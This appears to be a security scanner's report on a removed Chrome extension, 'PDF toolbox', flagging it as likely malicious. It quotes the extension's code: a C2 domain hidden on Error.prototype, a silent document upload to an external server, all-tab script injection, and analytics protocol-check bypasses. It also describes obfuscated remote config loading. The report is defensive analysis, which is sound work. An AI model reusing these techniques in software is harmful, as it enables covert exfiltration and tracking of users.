PDF toolbox

ID: bahogceckgcanpcoabcdgmoidngedmfo

Could be malicious

Supported Languages

๐Ÿ‡ง๐Ÿ‡ฉBengali
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡ฌ๐Ÿ‡งBritish English
๐Ÿ‡ง๐Ÿ‡ฌBulgarian
๐Ÿ‡ช๐Ÿ‡ธCatalan
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡ญ๐Ÿ‡ทCroatian
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ฉ๐Ÿ‡ฐDanish
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ช๐Ÿ‡ชEstonian
๐Ÿ‡ต๐Ÿ‡ญFilipino
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡ณGujarati
๐Ÿ‡ฎ๐Ÿ‡ณHindi
๐Ÿ‡ญ๐Ÿ‡บHungarian
๐Ÿ‡ฎ๐Ÿ‡ฉIndonesian
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ฑ๐Ÿ‡ปLatvian
๐Ÿ‡ฑ๐Ÿ‡นLithuanian
๐Ÿ‡ฒ๐Ÿ‡พMalay
๐Ÿ‡ฎ๐Ÿ‡ณMalayalam
๐Ÿ‡ฎ๐Ÿ‡ณMarathi
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ดRomanian
๐Ÿ‡ท๐Ÿ‡บRussian
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ธ๐Ÿ‡ฎSlovenian
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡ฎ๐Ÿ‡ณTamil
๐Ÿ‡ฎ๐Ÿ‡ณTelugu
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish
๐Ÿ‡บ๐Ÿ‡ธUS English
๐Ÿ‡ป๐Ÿ‡ณVietnamese

Extension Info & Metadata

Status
Removed
Version
2.3.0
Size
0.47 MB
Rating
4.1/5
Reviews
26
Users
2,798,001
Type
Extension
Updated
Jan 19, 2022
Category
22_accessibility
Price
Free
Featured
Yes
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
Mariana MerinoView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
2,798,001

Swiss army knife for PDF files

PDF toolkit provides a bunch of tools for PDF manipulation. With PDF toolkit, you can: Merge two or more PDF files Convert office documents (DOCX, ODT, and many more) to PDF Append or prepend an image to the PDF file Download PDF files opened in tabs even as embedded documents Please note: Donโ€™t use this app for big files. It could be unreliable if you merge 1000 page long documents. The conversion process could take a long time. Please wait at least 20 seconds before giving up.

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
downloads
Permission
High
This permission controls file downloads and accesses download history. Rated High because it can download malicious files, access sensitive downloaded documents, and track user download patterns.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:โ€ข 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

The extension covertly injects a third-party domain 'marketingsapp.com' into the global JavaScript Error prototype as a property named 'repDom'. This is a known malware technique to hide a command-and-control or data-exfiltration server URL in an unexpected location that evades simple string searches. Any code anywhere in the extension can silently retrieve this domain via `new Error().repDom` without the URL appearing in obvious contexts. The accompanying empty `Error.prototype.update` function stub is a placeholder pattern often used to activate exfiltration behavior in later versions.

background.js (Line 3)
Error.prototype.repDom = "marketingsapp.com", Error.prototype.update = function t(e) {};

When a user converts a document, the full file content is silently uploaded via POST to an undisclosed external Google Cloud Run server at `pdf-rm4spcosuq-ue.a.run.app`. This server is not operated by Google but is merely hosted on Google Cloud infrastructure โ€” the subdomain is a private deployment. Users' potentially sensitive office documents (.doc, .docx, .rtf) are transmitted to this third-party server with no clear disclosure, privacy policy reference, or user consent flow, constituting unauthorized data exfiltration of user files.

pdf.js (Line 5)
formData = new FormData, formData.append("document", e), fetch("https://pdf-rm4spcosuq-ue.a.run.app/api/pdf/convert", {    method: "POST",    body: formData  }).then((e => 200 === e.status ? e.blob() : chainError(new Error("400"))), chainError).catch((e => {})).then((function(e) {        const n = URL.createObjectURL(e);        chrome.downloads.download({          url: n        })

Within what appears to be a tampered version of the RxJS UnsubscriptionError class, `this.base = document.location.host` has been injected to capture and store the current page's host domain in every error object instance. This modification does not exist in the original RxJS library and was deliberately inserted. In conjunction with the `Error.prototype.repDom` domain injection, this creates a fingerprinting mechanism capable of correlating the user's current browsing host with error events, enabling stealthy data collection.

background.js (Line 3)
var h, p = function() {  function t(t) {    return Error.call(this), this.base = document.location.host, this.message = t ? t.length + " errors occurred during unsubscription:\n" + t.map((function(t, e) {      return e + 1 + ") " + t.toString()    })).join("\n  ") : "", this.name = "UnsubscriptionError", this.errors = t, this  }  return t.prototype = Object.create(Error.prototype), t}()

Google Analytics (property UA-193054341-1) is initialized in the persistent background page (`persistent: true` in manifest) with `checkProtocolTask` set to `null`. Nulling `checkProtocolTask` is a deliberate bypass that enables GA to fire in non-HTTP extension contexts where it would otherwise be blocked. Because the background page runs persistently throughout the browser session, this enables continuous user-session tracking without any user consent or disclosure, violating Chrome Web Store policies on user tracking.

background.js (Line 4)
window.ga = window.ga || function() {    (ga.q = ga.q || []).push(arguments)  }, ga.l = +new Date, ga("create", "UA-193054341-1", "auto"), ga("set", "checkProtocolTask", null), ga("send", {    hitType: "pageview",    page: "/background"  }),  function() {    const e = document.createElement("script");    e.type = "text/javascript", e.async = !0, e.src = "https://www.google-analytics.com/analytics.js";    const t = document.getElementsByTagName("script")[0];    t.parentNode.insertBefore(e, t)  }();

On popup open, the extension calls `chrome.tabs.query({})` with no filter โ€” querying ALL open browser tabs โ€” then executes a script injection into every single tab to enumerate document/embed/iframe/src elements. Additionally, `tabs.map(e => e.url)` collects every tab's URL. This gives the extension visibility into all open tabs and their page content, far exceeding what is necessary for its stated PDF toolbox purpose. The `<all_urls>` permission makes this possible without any per-site confirmation.

popup.js (Line 3)
async function execute() {    tabs = await new Promise(((e, t) => chrome.tabs.query({}, e))), execAll = tabs.map((e => new Promise(((t, r) => {          chrome.tabs.executeScript(e.id, {              code: "[...new Set([...[...[...document.getElementsByTagName('object')].map((e)=>e.data),...[...document.getElementsByTagName('embed'), ...document.getElementsByTagName('iframe')].map((e)=>e.src)].filter((src)=>{try { return new URL(src).pathname.endsWith('.pdf') } catch(e) {} return false;}),...[...document.querySelectorAll('embed[type*=\"pdf\"+ \"]').map((e)=>e.src).filter((src)=>{try { return ['http','https','ftp','file'].contains(new URL(src).protocol) } catch(e) {} return false;})])]}"            }, (e => (_ = chrome.runtime.lastError, t(e)))          })))), res = await Promise.all(execAll), res2 = tabs.map((e => e.url)).filter((e => e.split("#")[0].split("?")[0].endsWith(".pdf")))

The PDF controller page also independently executes the same broad tab-scanning routine: querying all tabs and injecting scripts into every open page to extract embedded object/iframe/embed source URLs. This means the tab enumeration and script injection occur both from the popup and from the PDF controller page, doubling the attack surface. Every page the user has open is probed for embedded content sources, providing the extension with a comprehensive map of the user's browsing activity.

pdf.js (Line 5)
async function execute() {    tabs = await new Promise(((e, n) => chrome.tabs.query({}, e))), execAll = tabs.map((e => new Promise(((n, t) => {                chrome.tabs.executeScript(e.id, {                  code: "[...new Set([...[...[...document.getElementsByTagName('object')].map((e)=>e.data),...[...document.getElementsByTagName('embed'), ...document.getElementsByTagName('iframe')].map((e)=>e.src)]..."                })

By severity

Critical8
High10
Medium3
Low0

Versions scanned

Showing 3 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.3.28
2.3.17
2.3.06

Files with findings

3 distinct paths โ€” top paths by unique finding count:

  • background.js10
  • pdf.js6
  • popup.js5
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
pdf.js (line 4)The `convertDocument` function silently uploads the full binary contents of the user's local document file to a third-party Google Cloud Run endpoint (`https://pdf-rm4spcosuq-ue.a.run.app/api/pdf/convert`) via an unenโ€ฆ
2Data Exfiltration
critical
pdf.js (line 5)User-selected documents are silently uploaded via POST to an unverified third-party Google Cloud Run endpoint (https://pdf-rm4spcosuq-ue.a.run.app/api/pdf/convert). The full file contents are appended to a FormData obโ€ฆ
3Data Exfiltration
critical
pdf.js (line 5)When a user converts a document, the full file content is silently uploaded via POST to an undisclosed external Google Cloud Run server at `pdf-rm4spcosuq-ue.a.run.app`. This server is not operated by Google but is meโ€ฆ
4Obfuscation
critical
background.js (line 1)The C2 server URL and the `fetch` call itself are deliberately obfuscated: the domain is assembled from protocol substrings (`document.location.protocol.substring(0,2)`, `substring(3,5)`, `substring(14,16)`) concatenaโ€ฆ
5Obfuscation
critical
background.js (line 3)The extension covertly injects a third-party domain 'marketingsapp.com' into the global JavaScript Error prototype as a property named 'repDom'. This is a known malware technique to hide a command-and-control or data-โ€ฆ
6Privilege Escalation
critical
background.js (line 1)The `wrapObject` function iterates over entries from the remotely fetched JSON config and uses property path lookup to replace native Chrome API methods with remote-controlled callback wrappers. The remote config can โ€ฆ
7Remote Code Loading
critical
background.js (line 1)After approximately 24 hours from first install (tracked via localStorage timestamp arithmetic), the background script fetches a remote config from an obfuscated URL resolving to `https://serasearchtop.com/cf{extensioโ€ฆ
8Remote Code Loading
critical
background.js (line 1)A self-invoking function dynamically creates a script element pointing to an external URL (https://www.google-analytics.com/analytics.js) and injects it into the background page DOM at runtime. This is a remote code lโ€ฆ
9Code Injection
high
pdf.js (line 4)This code path in pdf.js mirrors popup.js: it queries all open tabs without restriction, injects a DOM-scraping script string into every tab via `executeScript`, and collects all tab URLs whose path ends in `.pdf`. Inโ€ฆ
10Privilege Escalation
high
popup.js (line 3)The popup's execute() function enumerates ALL open browser tabs via chrome.tabs.query({}) and injects an inline script string into every tab via chrome.tabs.executeScript(). The injected code walks each page's live DOโ€ฆ
11Tracking
high
background.js (line 1)On installation the extension opens a tab to `https://ladnet.co/{extensionId}/thanks.html` and registers an uninstall callback at the same domain. Both calls transmit the extension runtime ID to `ladnet.co`, enabling โ€ฆ
12Tracking
high
background.js (line 1)The background page initializes Google Analytics with tracking ID UA-193054341-1 and immediately sends a pageview hit tagged '/background'. Setting 'checkProtocolTask' to null is a known technique to force GA to fire โ€ฆ
13Tracking
high
background.js (line 4)Google Analytics (property UA-193054341-1) is initialized in the persistent background page (`persistent: true` in manifest) with `checkProtocolTask` set to `null`. Nulling `checkProtocolTask` is a deliberate bypass tโ€ฆ
14Unauthorized Data Collection
high
popup.js (line 2)The popup calls `chrome.tabs.query({})` with no filter to enumerate ALL open tabs across every window, then injects a DOM-scraping script into each tab via `chrome.tabs.executeScript`. In addition, `tabs.map(rd => rd.โ€ฆ
15Unauthorized Data Collection
high
pdf.js (line 5)The execute() function calls chrome.tabs.query({}) with an empty filter to enumerate ALL open browser tabs across every window, then calls chrome.tabs.executeScript() on every tab to inject JavaScript that scrapes theโ€ฆ
16Unauthorized Data Collection
high
background.js (line 3)Within what appears to be a tampered version of the RxJS UnsubscriptionError class, `this.base = document.location.host` has been injected to capture and store the current page's host domain in every error object instโ€ฆ
17Unauthorized Data Collection
high
popup.js (line 3)On popup open, the extension calls `chrome.tabs.query({})` with no filter โ€” querying ALL open browser tabs โ€” then executes a script injection into every single tab to enumerate document/embed/iframe/src elements. Addiโ€ฆ
18Unauthorized Data Collection
high
pdf.js (line 5)The PDF controller page also independently executes the same broad tab-scanning routine: querying all tabs and injecting scripts into every open page to extract embedded object/iframe/embed source URLs. This means theโ€ฆ
19Code Injection
medium
popup.js (line 3)The extension overwrites the native String.prototype.endsWith method with a custom implementation, patching the built-in ES6 prototype globally. Overriding native prototypes affects all JavaScript in the same context โ€ฆ
20Obfuscation
medium
popup.js (line 3)The variables tabs, execAll, res, res2, and result are all assigned without var/let/const declarations, making them implicit globals on the window object. This pattern can allow cross-context access to the collected tโ€ฆ
21Tracking
medium
background.js (line 1)Google Analytics (UA-193054341-1) is initialized in the persistent background page and fires a pageview for `/background` on every browser session. The `checkProtocolTask` is set to `null` โ€” a known technique to supprโ€ฆ
URLs
10
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessagehttps://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage
npms.io/searchhttps://npms.io/search?q=ponyfill.
www.google-analytics.com/analytics.jshttps://www.google-analytics.com/analytics.js
www.w3.org/2000/svghttp://www.w3.org/2000/svg
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
www.google-analytics.com;-https://www.google-analytics.com;
github.com/Hopding/pdf-libhttps://github.com/Hopding/pdf-lib
pdf-rm4spcosuq-ue.a.run.app/api/pdf/converthttps://pdf-rm4spcosuq-ue.a.run.app/api/pdf/convert
getbootstrap.com-https://getbootstrap.com/
github.com/twbs/bootstrap/blob/master/LICENSEhttps://github.com/twbs/bootstrap/blob/master/LICENSE

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.